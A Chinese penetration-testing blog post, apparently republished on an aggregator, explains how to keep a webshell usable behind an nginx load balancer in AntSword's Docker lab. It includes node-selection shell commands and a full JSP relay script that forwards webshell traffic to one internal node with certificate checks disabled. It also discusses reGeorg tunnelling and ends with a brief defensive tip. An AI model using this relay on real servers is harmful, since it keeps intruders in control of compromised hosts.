负载均衡下的webshell上传

news2024/11/25 0:30:52

负载均衡下的webshell上传

  • 1.应用场景
  • 2.面临的困难
    • 2.1 shell文件上传问题
    • 2.2 命令执行时的漂移
    • 2.3 大工具投放失败
    • 2.4 内网穿透工具失效
  • 3.一些解决方案
    • 3.1 关机
    • 3.2 基于IP判断执行主机
    • 3.3 脚本实现web层的流量转发
      • 3.3.1 创建antproxy.jsp脚本
      • 3.3.2 修改 Shell 配置
  • 4.总结

1.应用场景

负载均衡作为现今解决web应用承载大流量访问问题的一种方案,在真实环境中得到广泛的部署。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

比如基于dns的负载均衡:
在这里插入图片描述
当然还有nginx的经典的基于反向代理实现的负载均衡。用户在通过单一IP地址访问服务器时,永远不会知道自己的处理服务器是那一台。对于这部分内容我在前面的《NGINX反向代理实现负载均衡》中有详细谈过它的分类以及配置方法。我们再来回顾以下nginx支持的负载均衡的方式:

轮询默认方式
weight权重方式
ip_hash依据ip分配方式
least_conn最少连接方式
fair(第三方)响应时间方式
url_hash(第三方)依据URL分配方式

可以看到,支持的负载均衡模式很多。无论时什么样的负载均衡模式都可以以这样的规则进行划分,即是否可以确定地访问某一台固定的服务器。

为什么这样说呢,因为在渗透测试的过程中,有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好,暴力破解也罢。都是为了拿到webshell,提权,渗透内网。整体的流程就是这样,但是一旦遇到负载均衡隐藏掉后端真实服务器IP后,就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。

2.面临的困难

总体来说面临着四个难点,webshell上传,命令执行,工具投放,内网渗透做隧道。下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。

https://github.com/AntSwordProject/AntSword-Labs

在这里插入图片描述
下载后上传至服务器进行解压,到指定目录下,启动环境:

[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d

我们查看它的compose文件可以看到:
在这里插入图片描述
nginx的80端口被映射到主机的18080端口之上,访问http://192.168.2.169:18080
就可以访问到我们的web服务了。Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。

在这里插入图片描述

此时打开蚂蚁剑我们尝试连接先前在node12上均插入了的webshell

在这里插入图片描述
在这里插入图片描述
完了点击添加,就正式连接到我们的webshell了。

2.1 shell文件上传问题

尝试多次刷新,十分流畅:

在这里插入图片描述

我们进入一个节点服务器,尝试让webshell失效:

[root@blackstone loadbalance-jsp]# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                   NAMES
c549f819e15e        nginx:1.17                 "nginx -g 'daemon of…"   36 minutes ago      Up 36 minutes       0.0.0.0:18080->80/tcp   loadbalance-jsp_nginx_1
bab0805650c1        loadbalance-jsp_lbsnode2   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode2_1
59bf661c6b83        loadbalance-jsp_lbsnode1   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode1_1
[root@blackstone loadbalance-jsp]# docker exec -it bab0805650c1  /bin/bash

root@bab0805650c1:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/37/map_files’: Operation not permitted
find: ‘/proc/41/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@bab0805650c1:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant

再次尝试刷新:
在这里插入图片描述
看见了没,闪红了!其实是因为再次刷新的时候请求被解析到了这台修改过的节点服务器上,因为上面并没有们上传上去的文件。故访问不到,出现了404。故如何让我们的webshell均匀的出现在节服务器上,是第一个问题。

2.2 命令执行时的漂移

对,你没听错,在这样的环境下我们发出去的webshell执行命令时,会发生严重的漂移现象。你永远不知道命令在哪台服务器上执行。

假设我们解决了第一个难点,webshell均匀的出现在了后端节点服务器上。

我们将先前失效的webshell复活:

root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp

到命令执行界面尝试执行命令:

在这里插入图片描述
执行查看IP地址的命令:
在这里插入图片描述

看到了没,这还是轮询状态下的IP变化,一旦是权重模式,再加上多台节点服务器。这个地址将变得无迹可寻。

2.3 大工具投放失败

当我们解决了上面两个难点,想要进一步渗透时,此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时,采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。也就是说,我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。

2.4 内网穿透工具失效

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

在这里插入图片描述

这里来一张regerg程序运行的大致原理图,因为我们的节点服务器会不断变化,这就导致攻击者和部署了regeorg的主机之间无法保持完整的连接很长时间。即使每个节点主机上同时搭载这样的软件。与攻击者的连接仍然混乱不堪。无法稳定的代理内网的流量到攻击者手上。所以这样的环境下,要进行内网工具的部署,同样是一个极大的难点。

在这里插入图片描述

3.一些解决方案

要解决第一个难点其实比较简单,就一个词重复,疯狂上传多次,webshell肯定可以上传到所有的节点服务器上去。接下来我们得想办法解决剩下的难点。

3.1 关机

这个方案虽然看着是个方法,但是实际环境中先不说权限够不够。就是够,这样的操作也是十分危险的。虽然关闭节点服务器后,节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大,还要承担相应的法律责任。故不建议使用这种方法。

3.2 基于IP判断执行主机

要是在每一次执行命令前,可以判断以下主机的IP地址,那不就可以解决命令漂移问题了嘛。

这里需要用到一个shell:

#执行命令前进行ip判断,注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi

比如像这样:

root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
node1 i will execute command.\n=========\n
172.19.0.2
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.3" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
other.tryagain

这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑。甚至其在蚁剑的中断内运行会出问题。在真机上测试正常。

这样的方案确实很麻烦,并且并不能解决我们内网穿透的需求,所以不推荐使用。

3.3 脚本实现web层的流量转发

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。也就是说,我们写入一个脚本判断流量的目的地址,不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。

图片

这是原作者的一张图,我们分析以下请求。

1.连接请求到达nginx进行负载均衡的转发,交由后端节点服务器处理
2.请求到达了节点1,访问到antproxy.jsp文件,将流量转发给172.23.0.2节点上的ant.jsp
3.请求到达节点2。访问节点2的antproxy.jsp文件,同样将流量转发给172.23.0.2节点上的ant.jsp文件。建立通信。

如此一来,就可以保证我们始终可以连接到节点1的ant.jsp文件,建立稳定通信了。说干就干。

这是转发脚本:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%		//注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

3.3.1 创建antproxy.jsp脚本

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。
在这里插入图片描述
在这里插入图片描述
注意:
(1)不要使用上传功能,会被分片无法传输
(2)一i的那个要多次保存,保证所有的节点都部署上了我们的转发脚本

在这里插入图片描述

3.3.2 修改 Shell 配置

将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

http://192.168.2.169:18080/antproxy.jsp

在这里插入图片描述

查看IP地址是否会继续漂移:

在这里插入图片描述
显然,此时我们的IP地址已经停止漂移了,也就是说,我们可以稳定的连接到节点服务器1上了。

4.总结

对于这一问题的思考也是有迹可循的。首先作为负载均衡相较于普通的服务结构其特点就是隐藏了真实服务的节点服务器。

之前我们上传webshell可以拆分为,上传木马文件,执行命令获取相关漏洞信息,工具投放以提升权限获取密码,部署穿透工具尝试攻击内网。

那么照着这个思路进行分析就行,上传木马文件那必须要雨露均沾,既然一次上传会出现漂移,那就多传几次。第二个问题,命令漂移,这个可以通过判断IP的方式勉强解决,其实还有更好的解决方案。第三和第四个问题,就必须借助流量转发脚本实现节点服务器的IP地址固定。如此一来就可以彻底消除负载均衡的影响,一切如同正常的webshell上传环境。

那么,解决方案三其实有一个很致命的问题,一旦内网节点服务器之间不互通,彻底失效。也就是说,我们从安全角度出发,实现了负载均衡之后,无特殊要求的话应尽量在节点服务器之间实现网络层的通信阻断。这样才能万无一失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/333610.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零基础学SQL(十、子查询与多表关联)

目录 前置建表 ​编辑 编辑 一、子查询 1、什么是子查询 2、子查询的类型 二、表关联查询 1、连接分类 1.1、交叉连接 &#xff08;CROSS JOIN&#xff09; 1.2、内连接&#xff08;inner join&#xff09; 1.3、外连接&#xff08;left join ,right join,full joi…

Nodejs原型链污染

Nodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别&#xff0c;如果没有node&#xff0c;那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能&#xff08;最出名的就是…

《Terraform 101 从入门到实践》 第二章 Providers插件管理

《Terraform 101 从入门到实践》这本小册在南瓜慢说官方网站和GitHub两个地方同步更新&#xff0c;书中的示例代码也是放在GitHub上&#xff0c;方便大家参考查看。 不怕出身低&#xff0c;行行出状元。 插件 Terraform可以对多种平台的多种资源进行管理&#xff0c;这个是通过…

隐私计算概览

1、政策背景与应用驱动 1、国内政策法规 2022年1月&#xff0c;十四五规划&#xff1a;初步建立数据源要素市场体系&#xff0c;在保护数据安全和用户隐私前提下&#xff0c;参与数据价值开发。2022年3月&#xff0c;国务院《关于构建更加完善的要素市场化配置体制机制的意见…

java面试题(十七)spring

2.1 请你说说Spring的核心是什么 参考答案 Spring框架包含众多模块&#xff0c;如Core、Testing、Data Access、Web Servlet等&#xff0c;其中Core是整个Spring框架的核心模块。Core模块提供了IoC容器、AOP功能、数据绑定、类型转换等一系列的基础功能&#xff0c;而这些功能…

Python|每日一练|广度优先搜索|字符串|贪心算法|数组|二分查找|单选记录:删除无效的括号|盛最多水的容器|搜索旋转排序数组

1、删除无效的括号&#xff08;广度优先搜索&#xff0c;字符串&#xff09; 给你一个由若干括号和字母组成的字符串 s &#xff0c;删除最小数量的无效括号&#xff0c;使得输入的字符串有效。 返回所有可能的结果。答案可以按 任意顺序 返回。 示例 1&#xff1a; 输入&am…

一文详解 Redis 常见数据类型

一文详解 Redis 常见数据类型1.Redis 数据类型2.String3.key的层级格式4.Hash5.List6.Set7.SortedSet1.Redis 数据类型 Redis支持五种基本数据类型&#xff1a;string&#xff08;字符串&#xff09;&#xff0c;hash&#xff08;哈希&#xff09;&#xff0c;list&#xff08…

Cadence OrCAD 16.6 原理图导出带标签pdf(免费软件版)

Cadence OrCAD 16.6原理图导出带标签pdf&#xff08;免费软件版&#xff09; Cadence OrCAD 16.6 导出有标签的原理图&#xff0c;页面导航、跨页符、元件封装等&#xff0c;更方便阅读。找了一些可用的免费软件。 安装软件 系统win10 22H2&#xff0c;OrCAD SPB 16.6 根据…

odoo16内置机器人对接chatgpt模块源码分析

首先分析 __manifest__.py 代码 # -*- coding: utf-8 -*- # Copyright (c) 2020-Present InTechual Solutions. (<https://intechualsolutions.com/>){name: Odoo ChatGPT Integration,version: 16.0.1.0.1,license: AGPL-3,summary: Odoo ChatGPT Integration,descript…

Boom 3D最新2023电脑版音效增强软件

Boom 3D是适用于Mac和Windows系统的专业音效增强软件&#xff0c;旨在通过播放器&#xff0c;媒体或流媒体服务等介质&#xff0c;在不同类型的耳机上以3D环绕效果播放媒体内容。您无需使用昂贵的耳机或其他附加环绕音效增强器即可感受3D环绕音乐。 Boom 3D专业音效增强软件&am…

CHI一致性概述

硬件保证一致性使得系统功能部件能够在不需要软件编程参与的情况下共享内存。如果任意两个组件对相同地址单元进行写访问&#xff0c;且系统内所有组件看到的这两个写访问顺序是相同&#xff0c;那么这个地址具有一致性属性。 一致性模型 参见下图&#xff0c;每个请求部件RN…

@LoadBalanced 和 @RefreshScope 同时使用,负载均衡失效分析

背景 最近引入了 Nacos Config 配置管理能力&#xff0c;说起来用法很简单&#xff0c;还是踩了三个坑。 Nacos Config 的 nacos 的帐号密码加密配置后&#xff0c;怎么解密而且在 NacosConfigBootstrapConfiguration 真正注入 Nacos Config 注入之前&#xff0c;而且不能触发…

十分钟利用环信WebIM-vue3-Demo,打包上线一个即时通讯项目【含音视频通话】

这篇文章无废话&#xff0c;只教你如果接到即时通讯功能需求&#xff0c;十分钟利用环信WebIM-vue3-Demo&#xff0c;打包上线一个即时通讯项目【包含音视频通话功能】。 写这篇文章是因为&#xff0c;结合自身情况&#xff0c;以及所遇到的有同样情况的开发者在接到即时通讯&a…

VS+QT项目创建及配置设置

1.创建QT项目 选择MSV2015 32 (与VS一致即可) 2.在VS中 Qt VS Tools-OpenQtProjectFiles(.pro) 打开QT项目。 3.VS属性页中设置配置 &#xff08;1&#xff09;修改SDK版本和 平台工具集 &#xff08;2&#xff09;更改输出目录 &#xff08;3&#xff09;确认Qt Project …

设计模式-工厂模式 Factory Pattern(简单工厂、工厂方法、抽象工厂)

工厂模式 Factory Pattern&#xff08;简单工厂、工厂方法、抽象工厂&#xff09; 工厂模式-创建型模式-提供了创建对象的最佳方式。 在工厂模式中&#xff0c;创建对象时不会对客户端暴露创建逻辑&#xff0c;并且是通过一个共同的接口来创建新的对象。 简单工厂 简单工厂…

微服务负载均衡器Ribbon

目录 什么是Ribbon 客户端的负载均衡 服务端的负载均衡 常见负载均衡算法 Nacos使用Ribbon 添加LoadBalanced注解 修改controller Ribbon负载均衡策略 IRule AbstractLoadBalancerRule 修改默认负载均衡策略 自定义负载均衡策略 配置自定义的策略 饥饿加载 Ribbo…

Codeforces Round #699 (Div. 2)

E. 题意:n本书,每本书有颜色a[i],一次操作可以将其中一本书放在末尾,求满足:相同颜色的书都是相邻的 的最小操作次数. 显然最多只需要n次,考虑能节省多少次.倒着考虑,记f[i]为i~n最多能节约的次数.先预处理出每种颜色的出现的位置范围l[i],r[i]. 1.不节约这本书f[i] f[i 1]…

Linux文件,目录IO类系统调用总结与示例

tags: C Syscall Linux 写在前面 无论是做网络编程还是系统编程, 逃不开的一个内容就是C系统调用的学习, 正如C的STL一样, 学习OS也有如下的三步骤: 会使用: 熟悉API懂原理: 分析源码写扩展: 实际开发 现在就来熟悉一下系统调用吧. 环境Ubuntu x86_64. 源码部分也参考了apu…

2023抓住这些风口,让你的服装生意一路狂飙!

如今正是消费回暖的大好时机&#xff0c;想要趁着行情回升大展身手的服装商户们&#xff0c;抓住2023的这些风口&#xff0c;生意一路狂飙不是梦&#xff01;风口1&#xff1a; T 恤和运动衫全球纺织信息透露&#xff0c;在全球范围内&#xff0c;T 恤和运动衫的市场规模将在 2…

骑车不戴头盔识别检测系统 Tesnorflow

骑车不戴头盔识别检测系统通过GPU深度学习技术&#xff0c;骑车不戴头盔识别检测对行驶在马路上的骑电动摩托车等未戴头盔的行为进行抓拍&#xff0c;不经过人为干预自动对上述违规行为进行自动抓拍识别。骑车不戴头盔识别检测系统技术上采用 TesnorflowTensorRT推理组合&#…